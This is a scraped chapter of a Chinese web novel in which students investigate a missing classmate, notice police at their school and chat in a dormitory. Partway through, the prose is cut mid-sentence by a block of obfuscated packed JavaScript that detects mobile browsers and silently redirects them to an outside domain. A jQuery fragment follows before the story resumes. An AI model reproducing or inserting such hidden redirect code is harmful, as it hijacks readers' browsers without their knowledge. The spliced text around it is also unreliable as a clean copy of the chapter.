默认冷灰
24号文字
方正启体

27. 第 27 章

作者:枕山漱玉本书字数:K更新时间:
    下了课,刘瑞平带着几人七拐八绕,走进了一间教室。


    冬季阴冷,这地方背阴,几人走进门都觉得像是打开了电冰箱,冷得直打哆嗦。


    “我去,什么鬼地方,这么冷……”


    从教室桌椅的落灰程度上来看,这里应当已经很久没有使用过了。


    陈芊不安道:“刘瑞平,这教室是干什么用的?不会有人来吧?”


    “你放一百个心。这是文学社社团的活动场地,一般没人会到这个地方来晃悠。”除了他们几个。


    “学校还有社团吗?”都快在学校待了三年了,他们居然都没听说过。


    刘瑞平也是无意之中发现了这么一处风水宝地。


    他介绍道:“社团活动早就名存实亡了。每个阶段应付上级领导检查的产物而已,只会在某些特定的时间节点活跃几节课,然后就销声匿迹了。大多数时间连这些活动教室都是空置的。”


    “真牛。”罗吉道,“这么偏门的地方都被你找出来了!”


    他们需要一间能够光明正大的交流而不引人注意的场地。教室人来人往,讨论起来,心里总是觉得不踏实。


    坠楼案一时间不算完,他们到底半只脚踏进去了,即便那天在艺术楼前吓得六神无主,过后还是心里放不下这件事。加上……还有个古怪的纪之水的加入。


    刘瑞平一合计,大手一挥,包揽了场地的问题。今天就是他交出的答卷。


    “她呢?啥时候来?”吴羽草草用纸巾擦了椅子上的浮灰,大马金刀地一坐。


    四缺一,还有个人尚未到场。


    再一看罗吉,他已经从包里翻出试卷来做了,随口说:“别放了我们几个的鸽子,让我们白等。”


    “才不会呢。”陈芊道,“她说了会来的。”


    好不容易熬到下课,纪之水和穆若婷告别,拎起包,顺着人流离开。时间有限,黎兴学和李茂不知道什么时候谈完,她得抓紧。


    穿过小径,她折身逆着大部队的方向,推开了一扇门。


    四人中率先看到她的是吴羽。


    吴羽抬头,对她咧嘴一笑:“哟,来啦。”


    “你们A班下课这么晚吗?一星期还不容易赶上半天假,还拖堂,没天理了。”


    罗吉收起作业本,看了眼腕表上的时间,算了算路程,也差不离,“他们没晚,只是其他班都会提前下课而已。”


    纪之水带上了身后的门,“久等了。”


    寒暄环节可以省略。纪之水坐下,毫不拖泥带水地发表了结论:“几周前的周日下午,刘瑞平在美术楼看到的那个女生,大概率是陆于栖。”


    众人表情各异。


    这是个意料之中的结果。他们这几天围绕着名单上的几个名字,常在各个班级门口转悠,向熟识的同学打听消息。


    文理分班过后,他们从原先的各个班级被打散,重新组合成一个班,换而言之,每个班都有他们之前的同学。


    互相一打听谁不在、为什么请假不在学校,是很容易的事情。


    陆于栖已经十来天没有出现在学校了,但当十三班的同学被问起时,都要愣一下才能作出反应。


    他们都说不清楚她为什么不在,谈到原因,不同的人竟然给出毫无关联的答案。


    “我也不知道啊……和她不熟,没说过话。”


    “哦,你问陆于栖啊。她可能是不想念了吧,高二的时候班上就有个人退学了。你想知道陆于栖的事情,可以问问和她关系好的人。”


    “谁和她关系好?那我倒是没注意。她性格很清高,不怎么理人的。”


    “估计是生病了,陆于栖前段时间一直脸色不好,上课也趴在桌上。”


    …………


    吴羽嘴唇动了动,想要说什么,但憋回去了。


    来之前纪之水就说过她时间紧迫,碍于和她还不算相熟,也没人追问纪之水急着去干什么。细究起来,他们住宿生的时间更紧,假期难得,早点交流完信息各自做自己的事情对所有人都好。


    这和他们几个在班里随时随地闲聊不一样,五人齐聚的机会一个星期顶多也就只有这么一次。吴羽就没插嘴。


    纪之水也没在意她的欲言又止,快速地说:“梳理一下我这边找到的东西。”


    一切结论都要建立在证据之上。他们未尝不知道陆于栖不在学校的事情可疑,但要证明那天艺术楼里的人是她,还是得拿出让所有人信服的证据。


    纪之水从包里掏出一样东西,放在桌面。


    陈芊认了出来,“这是……美术教室里那个挂件?你把它捡回来了?”


    晚上借着手电筒的光也看不太清楚,他们凑在窗户面前影影绰绰看了个轮廓,只能注意到它的挂绳疑似被外力扯断,并不能说明什么。


    当纪之水把它摆在桌面上时,这还是他们第一次看清楚这挂件长什么样。


    玩偶挂件的模样像只小鸟,嘴巴尖尖,配色像是小鸡。


    这怎么能证明陆于栖是那天的当事人?


    刘瑞平仿佛多动症发作,屁股一直没挨上过椅子,在教室里来回走动。他凑近看了眼挂件,直起身道:“我过后问过了,十三班的排课里没有美术教室3。”


    “我知道。”这也正是可疑之处。


    一个没有理由出现在美术教室3的人,她书包上的挂件却掉在了现场。


    “我翻看过群里的照片,陆于栖的书包上之前就挂着这只鸡。”纪之水划着手机,将相册里保存下来的图片发送进已经荣升为五人群的小群里。


    “明明更像鸟……”吴羽嘟哝。


    陆于栖的空间锁了,禁止陌生人访问,纪之水的好友添加请求经过几个昼夜的沉淀后石沉大海。


    唯一能看到的账号主页里,只挂着几张手绘人像和素描。纪之水研究半天,甚至不知道陆于栖到底长什么样。


    万幸的是,纪之水在其他人的空间里找到了蛛丝马迹。


    几人齐刷刷掏出手机,点开纪之水发在群里的照片。


    手机这种在金城高中被明令禁止的东西,高三学生几乎人手一个。纪之水待的时间越久,越觉得这群人充分贯彻了什么叫做上有政策下有对策,个个是阳奉阴违的好手。


    她跟着学到了不少。


    图片是一个女生和朋友的合照,几人笑容灿烂,勾肩搭背地朝着镜头做出搞怪的表情,背景看上去像是在游乐园。


    陈芊将图片放大,来回端详几个人的样貌和饰品,分辨不出来:“哪个是陆于栖啊?”


    两只手同时指向手机屏幕。


    陆于栖的身影在画面角落,她半侧着身,因为距离太远,只露出非常模糊的侧脸,背着书包无意中闯入了镜头里。她的书包上挂着满满当当的各色摆件,纪之水指出其中的一个小小的像素点:“就是这只鸡。”


    “合照的三个女生是十三班的。”


    吴羽收回手,很有经验地说:“这种时候躲在角落里的一般才是主角嘛。”


    “好厉害……”陈芊喃喃地说,“这都是春游那时候的照片了,居然连这个也能翻出来……”


    “我*啊……!”刘瑞平口中冒出一句脏话。


    “你站在窗户边干什么?”罗吉奇怪地看着他,“美术楼不在这里,你从窗户那儿只能看见学校大门。”


    “警车!学校外面停着的是警车啊!”


    刘瑞平发出浑厚的尖叫。


    几人闻声奔向窗边,你拉我我扯你,都想一探究竟,霎时间滚作一团。


    “这窗户好小……门口的破雕塑挡住了,什么也看不见……”


    “吴羽你别挤我!”


    “罗吉你不会重新找个空位吗?!”


    纪之水走向另一扇窗户。


    距离有些远,放眼望去,她居然真在校门口看到了一辆蓝白配色的车。警灯虽然没亮,熟悉的红蓝配色依旧深深地刻印在每个普通公民心中,谁都能一眼认出那代表着什么。


    “什么情况?警察怎么会到学校来?”


    他们不约而同地想到了同一件事。


    “难道是为了陆于栖?”刘瑞平主动说出了那个猜测,眼神发直,“她不会真的……”


    但凡换个时间点,刘瑞平都不会主动往这方面猜。


    如果有人在这时候点头,纪之水怀疑眼前这个哆哆嗦嗦的小胖子可能会当场晕过去。


    “陆于栖不可能坠楼。”纪之水平静地说。


    “艺术楼前的出血量不对,更像是有人划伤。”她伸出手比了比伤口大小,约莫十来厘米的一条线,“伤在四肢,长度不会太夸张,没有伤及大动脉,这个程度是死不了人的。”


    没有实物证据,不如讲逻辑。几个星期后的今天,警察堪堪到学校,那办事效率简直差得离奇。


    几个人看着纪之水比比划划,表情非但没轻松一点儿,甚至平添更多复杂。


    “出血量?你怎么知道?”


    “我没说过吗?你们之前看到的鲁米诺溶液是我洒的。”纪之水说,“你们去艺术楼的那个晚上,我刚好也在。”


    甚至还亲眼目睹了他们四散着逃开。


    “我服了。”罗吉反应过来了,立即想到那天走廊深处传来的怪声,无语地说,“走廊上的那个人是你啊……你干嘛躲起来吓人?出来打个招呼的事儿,搞的我们以为撞鬼了,吓得要死。”


    “吓人吗?抱歉,我没注意。”纪之水歉疚地微笑起来。


    “我看到那两个警察了!他们在那儿!”


    陈芊拽了拽吴羽的衣袖,朝一个方向指了指。


    余光中,刘瑞平赫然是六神无主的模样,时不时推一把眼镜架,眼神都散了。


    陈芊安慰道:“刘瑞平,你也别想太多嘛。说不定又是防诈骗指标下来了,要到学校宣传。”


    “是吗……”刘瑞平尾音发飘。


    “瞧着不像。”吴羽说。


    各种安全宣传和反诈宣传一般不会选在周日。


    常青树树影之下,两人走得快,一眨眼就不见了踪影。


    罗吉摇了摇头,说:“有树挡着,看不见人了。”


    “接下来怎么办?”茫然的阴影笼罩刘瑞平的面孔。


    这段时间的忙碌像是投进大海的一颗石头,掉下去了,也没碰到底。几人忙活了一通,做了半天无用功。


    陆于栖身上究竟发生了什么?


    没人知道。


    为什么十三班那么多人,却找不出一个和她称得上相熟的朋友?


    这似乎也不重要了。


    现下,警察忽而造访学校。


    这或许代表着那天周末艺术楼的矛盾进入了警方的视野,刘瑞平可以松口气了:他再也不用担心自己是当日唯一的目击者,要战战兢兢地背负着目睹同学意外坠亡却知情不报的心理压力。


    然而真的如此吗?


    刘瑞平站在窗边,茫然地打量着警察走过的小径,三三两两的学生握着请假条从门卫身侧通过……好不容易得来的周末,理应好好珍惜。


    他回身扫过同伴们的脸。


    最终看向了罗吉。


    罗吉从窗户边离开,回身收拾东西。


    他说:“明天开始就是月考了。”


    虽然也没什么可收拾的,不过是摊在桌面上写了一半的试卷,还有一支笔。


    罗吉将这些东西塞进包里,淡声提醒道:“你还是担心担心自己吧,这回名次再掉,你爸妈可不会放过你。”


    “有警察介入是件好事。如果他们是为于栖而来,那么不管陆于栖身上究竟发生了什么,无论是和人发生矛盾受了伤,还是被人校园霸凌,警察总会调查清楚。无论如何,他们肯定比我们做的好。”


    刘瑞平仍然在发愣,陈芊用纸巾擦拭着模糊的玻璃窗,出神地往外看。


    “好了,回去吧。”吴羽轻飘飘地说。


    她推开教室的大门,阴天的阳光散发着冷意,将她的影子投在地面上。倏忽想起了什么,吴羽侧过脸。


    “我拿到了假条。有人要带奶茶吗?没的话我就走咯?”


    话音落定,得到了三束艳羡的目光。


    “怎么拿到的假条?死丫头命真好。”罗吉应声,从口袋里掏钱赛给她,“还是老样子。谢了姐们。”


    吴羽背过身挥了挥手,短发利落而潇洒。


    刘瑞平许久才回过神,动了。


    他追上罗吉,“再过十分钟去食堂吧?等他们吃得差不多了,人会少一点……”


    各自告别。


    教室里只剩下纪之水和陈芊。


    陈芊仍旧维持着站在窗户边上向外看的姿势。她呼出的热气凝在玻璃上,是一团白雾,眼神盯着远方的一个点。


    纪之水站在她旁边没有动,半晌听到陈芊开口:“你看。”


    纪之水就凑过去看了。


    就着陈芊擦过的那一面玻璃——只擦了一面,自然清晰不到哪里去,外面一层还留着雨水爬过又干涸的印迹。纪之水从那一团小小的、不甚清晰的单面里,在校门口看到熟悉的身影。


    隔得远,散着头发的年轻女人又背对着她们的方向,原本不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862761|176120||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容易认得出是谁,她穿着常服,卷发呈现出斑驳的黄。


    在学校这个特殊生态里不需要遵守服饰规则,又要足够年轻,同时满足以上两点,答案不难猜测。


    无怪乎陈芊认得出。


    她站在一辆车边,刚从副驾驶下来,夸张的肢体动作显出激动的情绪。显然正在和主驾驶座上的人争执。


    “周英?”


    “你们英语老师在和人吵架诶。”陈芊有些惊奇地说。


    纪之水不感兴趣地收回视线。周英昨天又在隔壁一班发了火,尖锐的声音透过单薄的墙壁,屡次盖过手持话筒的物理老师的讲课声。


    陈芊没怎么见过周英和人发生矛盾,才能连这点事都看得津津有味。


    “呀……和她吵架的人走开车了。”


    ·


    纪之水没有看热闹的闲心。


    她只担心自己接下来的命运。


    黎兴学说和李茂谈完会接她回去,纪之水有错在先,默认了。她迟迟没有等到消息,陈芊邀请她回女生宿舍小坐。


    盛情难却。


    “这里没什么好招待的……牛奶喝不喝?还是可乐?”陈芊在狭小的储物柜里挑选,转过头眼神亮晶晶地问。


    纪之水捧着牛奶,和陈芊排排坐在床沿。


    金城高中的宿舍是八人寝,上下铺,面积很小,中间没有桌子,过道只容得下两人通行。阳台上,半干的校服从晾衣绳上吊下来,连稀薄的阳光都遮住大半,白天不开灯,室内很阴暗。


    陈芊赧然地笑了笑,“条件比较简陋。”


    这句话放在其他场合还能理解为自谦,在当下,只能叫写实。整个宿舍里年纪最小的估计是十年前加装的空调,其次是冲着她笑的陈芊。


    纪之水艰难地说:“还、还可以吧。”


    毕竟是她们住的地方。


    八个挤挤挨挨的床铺紧贴着墙壁,挂着半透的蓝色蚊帐,似乎是统一的制式。到了冬天,蚊帐也没收下去,它的功效可能除了遮蚊外还有其他作用,比如——


    “芊芊,帮我关一下门!我要换衣服了!”一个女孩从上铺探头。


    “好哦!”陈芊下去关门。


    比如现在。


    女孩换好衣服,和她们说了一声,端着洗漱用品离开宿舍。宿舍又恢复了门户大敞的样子,或许是因为太过狭小,也不算太冷。


    至少比文学社教室温度高。


    陈芊说:“有点冷是不是?”


    “还好。”


    陈芊解释道:“空调遥控器在阿姨手里,我们没办法自己开。你要是冷,我去把门关上。”


    晚上宿管阿姨带着空调遥控器上楼开空调,再一关门,后半夜的二氧化碳含量虽然高得让人难以想象,但至少暖和。往好处想,白天宿舍虽然不能开空调,至少阳台门和前门都开着,宿舍里透气。


    纪之水拒绝了。


    门开着方便些。


    女孩们结伴去澡堂洗澡、吃饭、洗衣服,宿舍人来人往,略有几分热闹。她们终究没有停留太久,短暂来过又相携离开,最后寝室里又只剩下纪之水和陈芊。


    记不清第几次和人说“再见”,纪之水扫过陈芊沉静的眉眼,觉得奇怪。似乎她也应该是珍惜着来之不易的假期,连打水、洗澡都要小跑着前进的一员。陈芊却接连拒绝了来自舍友的几次邀约,稳稳当当地坐在这里。


    “你没有别的事要干么?”纪之水担心自己的造访是一种打扰。


    “没有哦。”陈芊摇头,心情愉快地和她玩牌——还是那副差点在骆一燃举报下不保的那副,打发时间。


    纪之水没看牌,目光落在陈芊纤细的手腕上,只关注一件事:“饭也不吃吗?”


    “嗯,不吃了。等一会儿吴羽带吃的回来,两顿并一顿。”陈芊邀请道,“你要不要和我们一起?”


    这种吃法真的好么?


    饱一顿饿一顿,怎么看都像是对胃的虐待。纪之水摇了摇头。


    “不……我一会儿回家。”纪之水道,“吴羽她怎么请假了?假条很难批啊。”


    “是啊,现在假条越来越不好拿了。”陈芊抱怨起来,“之前我还能串通我妈请病假天天出去洗澡。结果现在,请假请得太勤,班主任不高兴,三次里面通常只批一次……”


    话题很快就歪了。


    至于吴羽为什么请假,陈芊最后也没说。


    反正也只是闲聊,两人有一搭没一搭地说话。陈芊翻过三张牌,乐了:“好牌!”


    也是奇了,这学校每个人好像都对塔罗牌有几分了解。顾天倾说他不懂,纪之水是一个字也不信的。


    “你知道这是好牌?”纪之水问。


    “不知道啊。但这牌上全是钱……我以后一定会是个有钱人。”陈芊憧憬地说。


    纪之水于半个小时后接到黎兴学的电话,这比她预想中的要迟了很多,背景音有嘈杂的人声。纪之水缓缓挑起半边眉毛,这个点办公室不会有人在。


    “小河,爸爸已经和你们班主任聊完了。”


    纪之水以为这是催促,她并没有如同约定的那样在校门口等待:“你在哪?我去找你。”


    那头的声音变得磕绊起来。


    纪之水懂了。黎兴学有事要先走一步,不方便带上她。


    黎兴学开了口,果不其然先是道歉,工作太忙,无暇顾及她。纪之水不以为忤,很快就接受了,直到黎兴学话锋一转,说起了他和李茂的谈话内容。


    倒不是对她的批评,就连外形方面需要整改的地方也提都没提,只是——


    “下个星期就要月考了,老师和我的意思呢,是让你这个星期和住宿生一样,留着学校上完晚自习再走。”


    晴天霹雳。


    纪之水没法维持淡定了。


    对面还在继续:“明达也和爸爸说过你在学校里跟不上进度。这是正常的事情,毕竟刚转来金城念书,小河你也不要太着急啊。晚自习留下来也有好处,你遇上不会的题目还能去问问老师们,你说是不是啊小河?”


    黎兴学根本没有给纪之水说话的机会,自顾自地说:“爸爸也和王叔通过电话了,每天一下课就去接你放学,比你一个人上下学要安全……”


    “知道了。”纪之水面无表情地说。


    “还有,我叫纪之水。”纪之水顿了一下,“虽不知道为什么你一直记不住我的名字,但还是拜托你稍微记一下吧。”


    不要再叫她“小河”了。


    她妈妈纪女士可没有给她起过这种小名。


    纪之水挂断电话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)